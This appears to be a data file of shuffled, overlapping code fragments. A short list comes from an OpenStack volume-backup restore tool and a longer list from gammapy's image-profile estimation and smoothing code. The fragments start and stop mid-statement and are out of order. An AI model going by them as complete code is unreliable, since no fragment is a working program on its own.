"serverName): self.selected_metadata = None self.selected_backups = [] self.selected_volumes = []", "not skip_vm: name = restored_volume.metadata['osvb_name'] flavor = restored_volume.metadata['osvb_flavor'] flavor =", "backup\", backup_id, \"to volume\", new_volume_id) dev_name = \"vd\" + chr(ord('a')", "expected_states: raise UnexpectedStatus(what=resource, intermediate=allowed_states, final=expected_states) return resource class BackupException(Exception): def", "self.final: steps = (' [intermediate: %s, final: %s]' % (self.intermediate,", "% (self.__class__.__name__, self.what.status, steps)) class BackupNotFound(BackupException): pass class BackupTooMany(BackupException): pass", "import vprint from time import time, sleep class BackupGroup(object): max_secs_gbi", "%s]' % (self.intermediate, self.final)) else: steps = '' return (u'%s:", "session=target_session) server = target_nova.servers.create( name=name, image=None, flavor=flavor, block_device_mapping=block_device_mapping, nics=nics )", "= backup_meta_data = {} for backup in self.backup_list: meta_data =", "osvolbackup.verbose import vprint from time import time, sleep class BackupGroup(object):", "new_volume_list = self._create_volumes(self.selected_volumes, to_project) # Restore the volumes block_device_mapping =", "expect to have at the end, if None is supplied", "* resource.size) while resource.status in allowed_states: sleep(self.poll_delay) if deadline <=", "'available') # We need to get again to refresh the", "chr(ord('a') + vol_index) block_device_mapping[dev_name] = new_volume_id restore = self.cinder.restores.restore(backup_id=backup_id, volume_id=new_volume_id)", "selected backup for backup_id, backup_meta in self.backup_meta_data.iteritems(): if backup_meta['backup_time'] ==", "time() + (self.max_secs_gbi * resource.size) while resource.status in allowed_states: sleep(self.poll_delay)" ]
[ "- x_ref[0]`. kwargs : dict Keyword arguments passed to `~scipy.ndimage.uniform_filter`", "mask) profile_err = None index = np.arange(1, len(self._get_x_edges(image))) if p[\"method\"]", "= image.copy(data=np.sqrt(image.data)) profile, profile_err = self._estimate_profile(image, image_err, mask) result =", "radius.value + 1 if kernel == \"box\": smoothed = scipy.ndimage.uniform_filter(", "width, **kwargs ) # use gaussian error propagation if \"profile_err\"", "profile from image. Parameters ---------- x_edges : `~astropy.coordinates.Angle` Coordinate edges", "for the radial profile option. Examples -------- This example shows", "r\"\"\"Smooth profile with error propagation. Smoothing is described by a", "if self._x_edges is not None: return self._x_edges p = self.parameters", "with the following columns: * `x_ref` Coordinate bin center (required).", "\"\"\"Reference x coordinates.\"\"\" return self.table[\"x_ref\"].quantity @property def x_min(self): \"\"\"Min. x", "Normalized image profile. \"\"\" table = self.table.copy() profile = self.table[\"profile\"]", "== \"radial\" and center is None: raise ValueError(\"Please provide center", "index = np.arange(1, len(self._get_x_edges(image))) if p[\"method\"] == \"sum\": profile =", "`ImageProfile` Normalized image profile. \"\"\" table = self.table.copy() profile =", "if mode == \"peak\": norm = np.nanmax(profile) elif mode ==", "or the maximum value corresponds to one ('peak'). Returns -------", "by a convolution: .. math:: x_j = \\sum_i x_{(j -", "if p[\"axis\"] == \"lon\": lon = coordinates.data.lon.wrap_at(\"180d\") data = np.digitize(lon.degree,", "raise ValueError(\"Not a valid axis, choose either 'lon' or 'lat'\")", "peak value or integral. Parameters ---------- mode : ['integral', 'peak']", "estimate the profile. center : `~astropy.coordinates.SkyCoord` Center coordinate for the", "estimator on. image_err : `~gammapy.maps.Map` Input error image to run", "np.digitize(lat.degree, x_edges.deg) elif p[\"axis\"] == \"radial\": separation = coordinates.separation(p[\"center\"]) data", "\"mean\"]: raise ValueError(\"Not a valid method, choose either 'sum' or", "axis=\"lon\", center=None): self._x_edges = x_edges if method not in [\"sum\",", "it integrates to unity ('integral') or the maximum value corresponds", "import matplotlib.pyplot as plt fig = plt.figure(figsize=figsize) ax = fig.add_axes([0.1,", "ImageProfileEstimator from gammapy.maps import Map from astropy import units as", "= self.table[\"profile\"].data x = self.x_ref.value ax.plot(x, y, **kwargs) ax.set_xlabel(\"lon\") ax.set_ylabel(\"profile\")", "coordinates.\"\"\" return self.table[\"x_ref\"].quantity @property def x_min(self): \"\"\"Min. x coordinates.\"\"\" return", "** 2) smoothed_err = np.sqrt(err_sum) elif kernel == \"gauss\": smoothed", "\"ImageProfileEstimator\"] # TODO: implement measuring profile along arbitrary directions #", "or mean within profile bins. axis : ['lon', 'lat', 'radial']", "a convolution: .. math:: x_j = \\sum_i x_{(j - i)}", "Axes object **kwargs : dict Keyword arguments passed to `~matplotlib.axes.Axes.plot`", "norm if \"profile_err\" in table.colnames: table[\"profile_err\"] /= norm return self.__class__(table)", "float. If a float is given it is interpreted as", "`profile` Image profile data (required). * `profile_err` Image profile data", "= None index = np.arange(1, len(self._get_x_edges(image))) if p[\"method\"] == \"sum\":", "p[\"method\"] == \"mean\": # gaussian error propagation profile = scipy.ndimage.mean(image.data,", "in [\"lon\", \"lat\", \"radial\"]: raise ValueError(\"Not a valid axis, choose", "def smooth(self, kernel=\"box\", radius=\"0.1 deg\", **kwargs): r\"\"\"Smooth profile with error", "# Licensed under a 3-clause BSD style license - see", "u # load example data filename = '$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz' fermi_cts =", "`x_ref` Coordinate bin center (required). * `x_min` Coordinate bin minimum", "convolution kernel. The corresponding error on :math:`x_j` is then estimated", ":math:`x_{(j - i)}`: .. math:: \\Delta x_j = \\sqrt{\\sum_i \\Delta", "= fig.add_axes([0.1, 0.1, 0.8, 0.8]) ax = self.plot(ax, **kwargs) if", ": `~astropy.coordinates.Angle` Coordinate edges to define a custom measument grid", "= scipy.ndimage.sum(image.data, labels.data, index) if image.unit.is_equivalent(\"counts\"): profile_err = np.sqrt(profile) elif", "return ax def normalize(self, mode=\"peak\"): \"\"\"Normalize profile to peak value", "= profile * image.unit if profile_err is not None: result[\"profile_err\"]", "x_edges.deg) elif p[\"axis\"] == \"lat\": lat = coordinates.data.lat data =", "quantity or float. If a float is given it is", "Gaussian1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2, gauss.array ** 2) smoothed_err", "__init__(self, x_edges=None, method=\"sum\", axis=\"lon\", center=None): self._x_edges = x_edges if method", "one ('peak'). Returns ------- profile : `ImageProfile` Normalized image profile.", "= self.table.copy() profile = table[\"profile\"] radius = u.Quantity(radius) radius =", "__all__ = [\"ImageProfile\", \"ImageProfileEstimator\"] # TODO: implement measuring profile along", "= p.run(fermi_cts) # smooth profile and plot smoothed = profile.smooth(kernel='gauss')", "coordinates.\"\"\" return self.table[\"x_min\"].quantity @property def x_max(self): \"\"\"Max. x coordinates.\"\"\" return", "using `xref[1] - x_ref[0]`. kwargs : dict Keyword arguments passed", "ValueError(\"Please provide center coordinate for radial profiles\") self.parameters = {\"method\":", "smoothed_err = np.sqrt(smoothed) elif \"profile_err\" in table.colnames: profile_err = table[\"profile_err\"]", "measument grid (optional). method : ['sum', 'mean'] Compute sum or", ":math:`x_j` is then estimated using Gaussian error propagation, neglecting correlations", "p.run(fermi_cts) # smooth profile and plot smoothed = profile.smooth(kernel='gauss') smoothed.peek()", "import scipy.ndimage from astropy import units as u from astropy.convolution", "center is None: raise ValueError(\"Please provide center coordinate for radial", "tag = \"ImageProfileEstimator\" def __init__(self, x_edges=None, method=\"sum\", axis=\"lon\", center=None): self._x_edges", "as quantity or float. If a float is given it", "using Gaussian error propagation, neglecting correlations between the individual :math:`x_{(j", "as u # load example data filename = '$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz' fermi_cts", "= np.sqrt(err_sum) else: raise ValueError(\"Not valid kernel choose either 'box'", "ax.plot(x, y, **kwargs) ax.set_xlabel(\"lon\") ax.set_ylabel(\"profile\") ax.set_xlim(x.max(), x.min()) return ax def", "from 2D images).\"\"\" import numpy as np import scipy.ndimage from", "coordinates = image.geom.get_coord().skycoord x_edges = self._get_x_edges(image) if p[\"axis\"] == \"lon\":", "profile, profile_err = self._estimate_profile(image, image_err, mask) result = Table() x_edges", "= x_edges[1:] result[\"x_ref\"] = (x_edges[:-1] + x_edges[1:]) / 2 result[\"profile\"]", "np.digitize(lon.degree, x_edges.deg) elif p[\"axis\"] == \"lat\": lat = coordinates.data.lat data", "center coordinate for radial profiles\") self.parameters = {\"method\": method, \"axis\":", "described by a convolution: .. math:: x_j = \\sum_i x_{(j", "h_i Where :math:`h_i` are the coefficients of the convolution kernel.", ": dict Keyword arguments passed to plt.fill_between() Returns ------- ax", "radial profile option. Examples -------- This example shows how to", "p = self.parameters coordinates = image.geom.get_coord(mode=\"edges\").skycoord if p[\"axis\"] == \"lat\":", "image profile. \"\"\" table = self.table.copy() profile = table[\"profile\"] radius", "from astropy.coordinates import Angle from astropy.table import Table from .core", "\"\"\" import matplotlib.pyplot as plt if ax is None: ax", "the coefficients of the convolution kernel. The corresponding error on", "the columns specified as above. \"\"\" def __init__(self, table): self.table", "@property def x_ref(self): \"\"\"Reference x coordinates.\"\"\" return self.table[\"x_ref\"].quantity @property def", "self.parameters coordinates = image.geom.get_coord().skycoord x_edges = self._get_x_edges(image) if p[\"axis\"] ==", "quantity.\"\"\" try: return self.table[\"profile_err\"].quantity except KeyError: return None def peek(self,", "profile_err = np.sqrt(err_sum) elif p[\"method\"] == \"mean\": # gaussian error", "import ImageProfileEstimator from gammapy.maps import Map from astropy import units", "= Map.read(filename) # set up profile estimator and run p", "axis, \"center\": center} def _get_x_edges(self, image): if self._x_edges is not", "coordinates[:, 0].data.lat elif p[\"axis\"] == \"lon\": lon = coordinates[0, :].data.lon", "scipy.ndimage.sum(image_err.data ** 2, labels.data, index) profile_err = np.sqrt(err_sum) / N", "\\Delta x^{2}_{(j - i)} h^{2}_i} Parameters ---------- kernel : {'gauss',", "image_err = image.copy(data=np.sqrt(image.data)) profile, profile_err = self._estimate_profile(image, image_err, mask) result", "i)} h^{2}_i} Parameters ---------- kernel : {'gauss', 'box'} Kernel shape", "\"profile_err\" in self.table.colnames: ax = self.plot_err(ax, color=kwargs.get(\"c\")) return ax def", "4.5), **kwargs): \"\"\"Show image profile and error. Parameters ---------- **kwargs", "1D \"slices\" from 2D images).\"\"\" import numpy as np import", "[\"ImageProfile\", \"ImageProfileEstimator\"] # TODO: implement measuring profile along arbitrary directions", "following columns: * `x_ref` Coordinate bin center (required). * `x_min`", "deg\", **kwargs): r\"\"\"Smooth profile with error propagation. Smoothing is described", "scipy.ndimage.mean(image.data, labels.data, index) if image_err: N = scipy.ndimage.sum(~np.isnan(image_err.data), labels.data, index)", "kernel : {'gauss', 'box'} Kernel shape radius : `~astropy.units.Quantity`, str", "\"\"\"Image profile quantity.\"\"\" return self.table[\"profile\"].quantity @property def profile_err(self): \"\"\"Image profile", "to `~scipy.ndimage.uniform_filter` ('box') and `~scipy.ndimage.gaussian_filter` ('gauss'). Returns ------- profile :", "image profile object. \"\"\" p = self.parameters if image.unit.is_equivalent(\"count\"): image_err", "'box'} Kernel shape radius : `~astropy.units.Quantity`, str or float Smoothing", "a valid axis, choose either 'lon' or 'lat'\") if method", "quantity.\"\"\" return self.table[\"profile\"].quantity @property def profile_err(self): \"\"\"Image profile error quantity.\"\"\"", "= scipy.ndimage.mean(image.data, labels.data, index) if image_err: N = scipy.ndimage.sum(~np.isnan(image_err.data), labels.data,", "with error propagation. Smoothing is described by a convolution: ..", "as np import scipy.ndimage from astropy import units as u", "Parameters ---------- x_edges : `~astropy.coordinates.Angle` Coordinate edges to define a", "\"ImageProfileEstimator\" def __init__(self, x_edges=None, method=\"sum\", axis=\"lon\", center=None): self._x_edges = x_edges", "table.colnames: profile_err = table[\"profile_err\"] # use gaussian error propagation box", "coordinates[0, :].data.lon x_edges = lon.wrap_at(\"180d\") elif p[\"axis\"] == \"radial\": rad_step", "2 * radius.value + 1 if kernel == \"box\": smoothed", ": ['sum', 'mean'] Compute sum or mean within profile bins.", "\"\"\"Image profile error quantity.\"\"\" try: return self.table[\"profile_err\"].quantity except KeyError: return", "to `ImageProfile.plot_profile()` Returns ------- ax : `~matplotlib.axes.Axes` Axes object \"\"\"", "self.parameters = {\"method\": method, \"axis\": axis, \"center\": center} def _get_x_edges(self,", ") # renormalize data if table[\"profile\"].unit.is_equivalent(\"count\"): smoothed *= int(width) smoothed_err", "to `~matplotlib.axes.Axes.plot` Returns ------- ax : `~matplotlib.axes.Axes` Axes object \"\"\"", "method=\"sum\", axis=\"lon\", center=None): self._x_edges = x_edges if method not in", "example data filename = '$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz' fermi_cts = Map.read(filename) # set", "result[\"profile_err\"] = profile_err * image.unit result.meta[\"PROFILE_TYPE\"] = p[\"axis\"] return ImageProfile(result)", "* `x_ref` Coordinate bin center (required). * `x_min` Coordinate bin", "Kernel shape radius : `~astropy.units.Quantity`, str or float Smoothing width", "= profile.smooth(kernel='gauss') smoothed.peek() plt.show() \"\"\" tag = \"ImageProfileEstimator\" def __init__(self,", "Smoothing width given as quantity or float. If a float", "index) if image_err: N = scipy.ndimage.sum(~np.isnan(image_err.data), labels.data, index) err_sum =", "the convolution kernel. The corresponding error on :math:`x_j` is then", "0, -1] rad_max = coordinates[corners].separation(p[\"center\"]).max() x_edges = Angle(np.arange(0, rad_max.deg, rad_step.deg),", "= lon.wrap_at(\"180d\") elif p[\"axis\"] == \"radial\": rad_step = image.geom.pixel_scales.mean() corners", "* self.table[\"profile\"].unit if \"profile_err\" in table.colnames: table[\"profile_err\"] = smoothed_err *", "np.sqrt(err_sum) elif kernel == \"gauss\": smoothed = scipy.ndimage.gaussian_filter( profile.astype(\"float\"), width,", "ImageProfileEstimator(axis='lon', method='sum') profile = p.run(fermi_cts) # smooth profile and plot", "= np.sqrt(err_sum) / N return profile, profile_err def _label_image(self, image,", "plot smoothed = profile.smooth(kernel='gauss') smoothed.peek() plt.show() \"\"\" tag = \"ImageProfileEstimator\"", "table): self.table = table def smooth(self, kernel=\"box\", radius=\"0.1 deg\", **kwargs):", "use gaussian error propagation box = Box1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err", "(optional). * `x_max` Coordinate bin maximum (optional). * `profile` Image", ": `~matplotlib.axes.Axes` Axes object **kwargs : dict Keyword arguments passed", "the profile. center : `~astropy.coordinates.SkyCoord` Center coordinate for the radial", "self.table[\"profile_err\"].quantity except KeyError: return None def peek(self, figsize=(8, 4.5), **kwargs):", "= self.plot_err(ax, color=kwargs.get(\"c\")) return ax def normalize(self, mode=\"peak\"): \"\"\"Normalize profile", "figsize=(8, 4.5), **kwargs): \"\"\"Show image profile and error. Parameters ----------", "kernel choose either 'box' or 'gauss'\") table[\"profile\"] = smoothed *", "profile_err = self._estimate_profile(image, image_err, mask) result = Table() x_edges =", "index) if image.unit.is_equivalent(\"counts\"): profile_err = np.sqrt(profile) elif image_err: # gaussian", "profile for the Fermi galactic center region:: import matplotlib.pyplot as", "* `x_max` Coordinate bin maximum (optional). * `profile` Image profile", "ax=None, **kwargs): \"\"\"Plot image profile. Parameters ---------- ax : `~matplotlib.axes.Axes`", "radial profiles\") self.parameters = {\"method\": method, \"axis\": axis, \"center\": center}", ": `~gammapy.maps.Map` Input image to run profile estimator on. image_err", "data (required). * `profile_err` Image profile data error (optional). Parameters", "Table from .core import Estimator __all__ = [\"ImageProfile\", \"ImageProfileEstimator\"] #", "plt.figure(figsize=figsize) ax = fig.add_axes([0.1, 0.1, 0.8, 0.8]) ax = self.plot(ax,", "error propagation box = Box1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2,", "kwargs.setdefault(\"alpha\", 0.5) ax.fill_between(x, ymin, ymax, **kwargs) ax.set_xlabel(\"x (deg)\") ax.set_ylabel(\"profile\") return", "scipy.ndimage.convolve(profile_err ** 2, box.array ** 2) smoothed_err = np.sqrt(err_sum) elif", "method, \"axis\": axis, \"center\": center} def _get_x_edges(self, image): if self._x_edges", "the Fermi galactic center region:: import matplotlib.pyplot as plt from", "0.8, 0.8]) ax = self.plot(ax, **kwargs) if \"profile_err\" in self.table.colnames:", "None: return self._x_edges p = self.parameters coordinates = image.geom.get_coord(mode=\"edges\").skycoord if", "self.parameters if image.unit.is_equivalent(\"count\"): image_err = image.copy(data=np.sqrt(image.data)) profile, profile_err = self._estimate_profile(image,", "** 2) smoothed_err = np.sqrt(err_sum) else: raise ValueError(\"Not valid kernel", "peek(self, figsize=(8, 4.5), **kwargs): \"\"\"Show image profile and error. Parameters", "profile option. Examples -------- This example shows how to compute", "Normalize image profile so that it integrates to unity ('integral')", "method : ['sum', 'mean'] Compute sum or mean within profile", "y - self.table[\"profile_err\"].data ymax = y + self.table[\"profile_err\"].data x =", "`ImageProfile` Result image profile object. \"\"\" p = self.parameters if", "= self.plot(ax, **kwargs) if \"profile_err\" in self.table.colnames: ax = self.plot_err(ax,", "def x_max(self): \"\"\"Max. x coordinates.\"\"\" return self.table[\"x_max\"].quantity @property def profile(self):", "or 'lat'\") if method == \"radial\" and center is None:", "image, mask=None): p = self.parameters coordinates = image.geom.get_coord().skycoord x_edges =", "smooth(self, kernel=\"box\", radius=\"0.1 deg\", **kwargs): r\"\"\"Smooth profile with error propagation.", "= image.geom.pixel_scales.mean() corners = [0, 0, -1, -1], [0, -1,", "create profiles (i.e. 1D \"slices\" from 2D images).\"\"\" import numpy", "to estimate the profile. center : `~astropy.coordinates.SkyCoord` Center coordinate for", "profile error quantity.\"\"\" try: return self.table[\"profile_err\"].quantity except KeyError: return None", "is None: raise ValueError(\"Please provide center coordinate for radial profiles\")", "smoothed * self.table[\"profile\"].unit if \"profile_err\" in table.colnames: table[\"profile_err\"] = smoothed_err", "kwargs : dict Keyword arguments passed to `~scipy.ndimage.uniform_filter` ('box') and", "self.table[\"profile\"].data ymin = y - self.table[\"profile_err\"].data ymax = y +", "ImageProfile(result) class ImageProfile: \"\"\"Image profile class. The image profile data", "p[\"axis\"] == \"lat\": x_edges = coordinates[:, 0].data.lat elif p[\"axis\"] ==", "import Angle from astropy.table import Table from .core import Estimator", "coordinate for the radial profile option. Examples -------- This example", "# plotting defaults kwargs.setdefault(\"alpha\", 0.5) ax.fill_between(x, ymin, ymax, **kwargs) ax.set_xlabel(\"x", "class ImageProfile: \"\"\"Image profile class. The image profile data is", "= self.x_ref.value ax.plot(x, y, **kwargs) ax.set_xlabel(\"lon\") ax.set_ylabel(\"profile\") ax.set_xlim(x.max(), x.min()) return", "\"lat\": x_edges = coordinates[:, 0].data.lat elif p[\"axis\"] == \"lon\": lon", "a custom measument grid (optional). method : ['sum', 'mean'] Compute", "smoothed_err = np.sqrt(err_sum) else: raise ValueError(\"Not valid kernel choose either", "x_edges = coordinates[:, 0].data.lat elif p[\"axis\"] == \"lon\": lon =", "-1], [0, -1, 0, -1] rad_max = coordinates[corners].separation(p[\"center\"]).max() x_edges =", "gammapy.maps import Map from astropy import units as u #", "== \"lat\": lat = coordinates.data.lat data = np.digitize(lat.degree, x_edges.deg) elif", "\"\"\"Min. x coordinates.\"\"\" return self.table[\"x_min\"].quantity @property def x_max(self): \"\"\"Max. x", "object \"\"\" import matplotlib.pyplot as plt fig = plt.figure(figsize=figsize) ax", "(i.e. 1D \"slices\" from 2D images).\"\"\" import numpy as np", "= plt.figure(figsize=figsize) ax = fig.add_axes([0.1, 0.1, 0.8, 0.8]) ax =", "return self.table[\"profile\"].quantity @property def profile_err(self): \"\"\"Image profile error quantity.\"\"\" try:", "BSD style license - see LICENSE.rst \"\"\"Tools to create profiles", "None index = np.arange(1, len(self._get_x_edges(image))) if p[\"method\"] == \"sum\": profile", "from astropy.convolution import Box1DKernel, Gaussian1DKernel from astropy.coordinates import Angle from", ": ['lon', 'lat', 'radial'] Along which axis to estimate the", "gauss = Gaussian1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2, gauss.array **", "== \"lon\": lon = coordinates.data.lon.wrap_at(\"180d\") data = np.digitize(lon.degree, x_edges.deg) elif", "width in pixels. If an (angular) quantity is given it", "_estimate_profile(self, image, image_err, mask): p = self.parameters labels = self._label_image(image,", "{mode!r}\") table[\"profile\"] /= norm if \"profile_err\" in table.colnames: table[\"profile_err\"] /=", "so that it integrates to unity ('integral') or the maximum", "smoothed_err = np.sqrt(err_sum) elif kernel == \"gauss\": smoothed = scipy.ndimage.gaussian_filter(", "\"\"\"Max. x coordinates.\"\"\" return self.table[\"x_max\"].quantity @property def profile(self): \"\"\"Image profile", "`~gammapy.maps.Map` Input error image to run profile estimator on. mask", "arguments passed to `~matplotlib.axes.Axes.plot` Returns ------- ax : `~matplotlib.axes.Axes` Axes", "This example shows how to compute a counts profile for", "\"lon\": lon = coordinates[0, :].data.lon x_edges = lon.wrap_at(\"180d\") elif p[\"axis\"]", "plt from gammapy.maps import ImageProfileEstimator from gammapy.maps import Map from", ": `~astropy.units.Quantity`, str or float Smoothing width given as quantity", "Returns ------- ax : `~matplotlib.axes.Axes` Axes object \"\"\" import matplotlib.pyplot", "dict Keyword arguments passed to `ImageProfile.plot_profile()` Returns ------- ax :", "profile. Parameters ---------- ax : `~matplotlib.axes.Axes` Axes object **kwargs :", "center=None): self._x_edges = x_edges if method not in [\"sum\", \"mean\"]:", "mean within profile bins. axis : ['lon', 'lat', 'radial'] Along", "---------- ax : `~matplotlib.axes.Axes` Axes object **kwargs : dict Keyword", "Parameters ---------- ax : `~matplotlib.axes.Axes` Axes object **kwargs : dict", "self.table[\"x_max\"].quantity @property def profile(self): \"\"\"Image profile quantity.\"\"\" return self.table[\"profile\"].quantity @property", "bin maximum (optional). * `profile` Image profile data (required). *", "kernel=\"box\", radius=\"0.1 deg\", **kwargs): r\"\"\"Smooth profile with error propagation. Smoothing", "= self.parameters if image.unit.is_equivalent(\"count\"): image_err = image.copy(data=np.sqrt(image.data)) profile, profile_err =", "is given it is interpreted as smoothing width in pixels.", "== \"radial\": separation = coordinates.separation(p[\"center\"]) data = np.digitize(separation.degree, x_edges.deg) if", "coordinates = image.geom.get_coord(mode=\"edges\").skycoord if p[\"axis\"] == \"lat\": x_edges = coordinates[:,", "profile = p.run(fermi_cts) # smooth profile and plot smoothed =", "if profile_err is not None: result[\"profile_err\"] = profile_err * image.unit", "profile data error (optional). Parameters ---------- table : `~astropy.table.Table` Table", "is then estimated using Gaussian error propagation, neglecting correlations between", "gaussian error propagation box = Box1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err **", "result = Table() x_edges = self._get_x_edges(image) result[\"x_min\"] = x_edges[:-1] result[\"x_max\"]", "Licensed under a 3-clause BSD style license - see LICENSE.rst", "= np.arange(1, len(self._get_x_edges(image))) if p[\"method\"] == \"sum\": profile = scipy.ndimage.sum(image.data,", "custom measument grid (optional). method : ['sum', 'mean'] Compute sum", "image_err: # gaussian error propagation err_sum = scipy.ndimage.sum(image_err.data ** 2,", "np import scipy.ndimage from astropy import units as u from", "stored in `~astropy.table.Table` object, with the following columns: * `x_ref`", "handling. e.g. MC based methods class ImageProfileEstimator(Estimator): \"\"\"Estimate profile from", "\"\"\" p = self.parameters if image.unit.is_equivalent(\"count\"): image_err = image.copy(data=np.sqrt(image.data)) profile,", "['integral', 'peak'] Normalize image profile so that it integrates to", "= scipy.ndimage.convolve(profile_err ** 2, gauss.array ** 2) smoothed_err = np.sqrt(err_sum)", "gaussian error propagation if \"profile_err\" in table.colnames: profile_err = table[\"profile_err\"]", "self.parameters labels = self._label_image(image, mask) profile_err = None index =", "background data[mask.data] = 0 return image.copy(data=data) def run(self, image, image_err=None,", "-1, 0, -1] rad_max = coordinates[corners].separation(p[\"center\"]).max() x_edges = Angle(np.arange(0, rad_max.deg,", "0.1, 0.8, 0.8]) ax = self.plot(ax, **kwargs) if \"profile_err\" in", "0 return image.copy(data=data) def run(self, image, image_err=None, mask=None): \"\"\"Run image", "ymin, ymax, **kwargs) ax.set_xlabel(\"x (deg)\") ax.set_ylabel(\"profile\") return ax @property def", "'lat', 'radial'] Along which axis to estimate the profile. center", "ValueError(f\"Invalid normalization mode: {mode!r}\") table[\"profile\"] /= norm if \"profile_err\" in", "image. Parameters ---------- x_edges : `~astropy.coordinates.Angle` Coordinate edges to define", "self._x_edges = x_edges if method not in [\"sum\", \"mean\"]: raise", "profile_err = table[\"profile_err\"] gauss = Gaussian1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err **", "profile quantity.\"\"\" return self.table[\"profile\"].quantity @property def profile_err(self): \"\"\"Image profile error", "None: ax = plt.gca() y = self.table[\"profile\"].data x = self.x_ref.value", "[0, 0, -1, -1], [0, -1, 0, -1] rad_max =", "0, -1, -1], [0, -1, 0, -1] rad_max = coordinates[corners].separation(p[\"center\"]).max()", "None: raise ValueError(\"Please provide center coordinate for radial profiles\") self.parameters", "load example data filename = '$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz' fermi_cts = Map.read(filename) #", "radius=\"0.1 deg\", **kwargs): r\"\"\"Smooth profile with error propagation. Smoothing is", "numpy as np import scipy.ndimage from astropy import units as", "['lon', 'lat', 'radial'] Along which axis to estimate the profile.", "profile object. \"\"\" p = self.parameters if image.unit.is_equivalent(\"count\"): image_err =", "from gammapy.maps import Map from astropy import units as u", "provide center coordinate for radial profiles\") self.parameters = {\"method\": method,", "in table.colnames: profile_err = table[\"profile_err\"] # use gaussian error propagation", "unit=\"deg\") return x_edges def _estimate_profile(self, image, image_err, mask): p =", "Smoothed image profile. \"\"\" table = self.table.copy() profile = table[\"profile\"]", "result[\"profile\"] = profile * image.unit if profile_err is not None:", "'radial'] Along which axis to estimate the profile. center :", "image to run profile estimator on. image_err : `~gammapy.maps.Map` Input", "= plt.gca() y = self.table[\"profile\"].data ymin = y - self.table[\"profile_err\"].data", "= np.digitize(separation.degree, x_edges.deg) if mask is not None: # assign", "u.Quantity(radius) radius = np.abs(radius / np.diff(self.x_ref))[0] width = 2 *", "value corresponds to one ('peak'). Returns ------- profile : `ImageProfile`", "float Smoothing width given as quantity or float. If a", "elif p[\"axis\"] == \"lon\": lon = coordinates[0, :].data.lon x_edges =", "The corresponding error on :math:`x_j` is then estimated using Gaussian", "measurement. Returns ------- profile : `ImageProfile` Result image profile object.", ": dict Keyword arguments passed to `~matplotlib.axes.Axes.plot` Returns ------- ax", "= Angle(np.arange(0, rad_max.deg, rad_step.deg), unit=\"deg\") return x_edges def _estimate_profile(self, image,", "**kwargs ) # renormalize data if table[\"profile\"].unit.is_equivalent(\"count\"): smoothed *= int(width)", "smoothed.peek() plt.show() \"\"\" tag = \"ImageProfileEstimator\" def __init__(self, x_edges=None, method=\"sum\",", "None: # assign masked values to background data[mask.data] = 0", "'sum' or 'mean'\") if axis not in [\"lon\", \"lat\", \"radial\"]:", "estimator. Parameters ---------- image : `~gammapy.maps.Map` Input image to run", "self._label_image(image, mask) profile_err = None index = np.arange(1, len(self._get_x_edges(image))) if", "self.table[\"profile\"].data x = self.x_ref.value ax.plot(x, y, **kwargs) ax.set_xlabel(\"lon\") ax.set_ylabel(\"profile\") ax.set_xlim(x.max(),", "as band. Parameters ---------- ax : `~matplotlib.axes.Axes` Axes object **kwargs", "\"\"\"Tools to create profiles (i.e. 1D \"slices\" from 2D images).\"\"\"", "sum or mean within profile bins. axis : ['lon', 'lat',", "either 'lon' or 'lat'\") if method == \"radial\" and center", "* self.table[\"profile\"].unit return self.__class__(table) def plot(self, ax=None, **kwargs): \"\"\"Plot image", "\"\"\"Image profile class. The image profile data is stored in", "mask=None): p = self.parameters coordinates = image.geom.get_coord().skycoord x_edges = self._get_x_edges(image)", "astropy.table import Table from .core import Estimator __all__ = [\"ImageProfile\",", "the maximum value corresponds to one ('peak'). Returns ------- profile", "= np.sqrt(profile) elif image_err: # gaussian error propagation err_sum =", "astropy import units as u from astropy.convolution import Box1DKernel, Gaussian1DKernel", "on. image_err : `~gammapy.maps.Map` Input error image to run profile", "is stored in `~astropy.table.Table` object, with the following columns: *", "propagation, neglecting correlations between the individual :math:`x_{(j - i)}`: ..", ": `ImageProfile` Normalized image profile. \"\"\" table = self.table.copy() profile", "= np.sqrt(smoothed) elif \"profile_err\" in table.colnames: profile_err = table[\"profile_err\"] #", "== \"lat\": x_edges = coordinates[:, 0].data.lat elif p[\"axis\"] == \"lon\":", "= image.geom.get_coord().skycoord x_edges = self._get_x_edges(image) if p[\"axis\"] == \"lon\": lon", "radius : `~astropy.units.Quantity`, str or float Smoothing width given as", "run(self, image, image_err=None, mask=None): \"\"\"Run image profile estimator. Parameters ----------", "'$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz' fermi_cts = Map.read(filename) # set up profile estimator and", "license - see LICENSE.rst \"\"\"Tools to create profiles (i.e. 1D", "x_edges[:-1] result[\"x_max\"] = x_edges[1:] result[\"x_ref\"] = (x_edges[:-1] + x_edges[1:]) /", "self.plot(ax, **kwargs) if \"profile_err\" in self.table.colnames: ax = self.plot_err(ax, color=kwargs.get(\"c\"))", "3-clause BSD style license - see LICENSE.rst \"\"\"Tools to create", "box = Box1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2, box.array **", "np.digitize(separation.degree, x_edges.deg) if mask is not None: # assign masked", "in table.colnames: table[\"profile_err\"] = smoothed_err * self.table[\"profile\"].unit return self.__class__(table) def", "profile. \"\"\" table = self.table.copy() profile = table[\"profile\"] radius =", "Angle(np.arange(0, rad_max.deg, rad_step.deg), unit=\"deg\") return x_edges def _estimate_profile(self, image, image_err,", "\"axis\": axis, \"center\": center} def _get_x_edges(self, image): if self._x_edges is", "image, image_err=None, mask=None): \"\"\"Run image profile estimator. Parameters ---------- image", "from astropy import units as u from astropy.convolution import Box1DKernel,", "profile class. The image profile data is stored in `~astropy.table.Table`", ": dict Keyword arguments passed to `ImageProfile.plot_profile()` Returns ------- ax", "import numpy as np import scipy.ndimage from astropy import units", "np.sqrt(err_sum) / N return profile, profile_err def _label_image(self, image, mask=None):", "= u.Quantity(radius) radius = np.abs(radius / np.diff(self.x_ref))[0] width = 2", "are the coefficients of the convolution kernel. The 